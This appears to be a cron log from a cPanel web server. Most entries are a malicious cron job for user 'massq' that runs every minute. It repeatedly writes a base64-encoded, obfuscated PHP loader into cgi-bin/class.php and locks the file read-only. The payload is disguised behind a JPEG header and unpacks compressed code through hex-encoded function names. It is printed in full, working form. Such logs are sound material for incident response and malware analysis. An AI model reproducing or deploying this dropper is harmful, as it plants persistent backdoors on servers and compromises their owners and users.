Nov 13 03:01:01 server anacron[7051]: Jobs will be executed sequentially
Nov 13 03:02:01 server CROND[7527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:03:01 server CROND[8053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:04:01 server CROND[9101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:05:01 server CROND[10083]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 03:05:01 server CROND[10084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 03:05:01 server CROND[10082]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 03:05:01 server CROND[10085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:06:01 server CROND[11097]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:07:01 server CROND[11974]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:08:01 server CROND[12854]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:09:01 server CROND[13721]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 03:09:01 server CROND[13722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:10:01 server CROND[14513]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 03:10:01 server CROND[14514]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:10:01 server CROND[14515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 03:10:01 server CROND[14516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 03:11:01 server CROND[15529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:12:01 server CROND[16398]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 03:12:01 server CROND[16399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:13:01 server CROND[17283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:14:01 server CROND[18145]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:15:01 server CROND[19010]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 03:15:01 server CROND[19011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
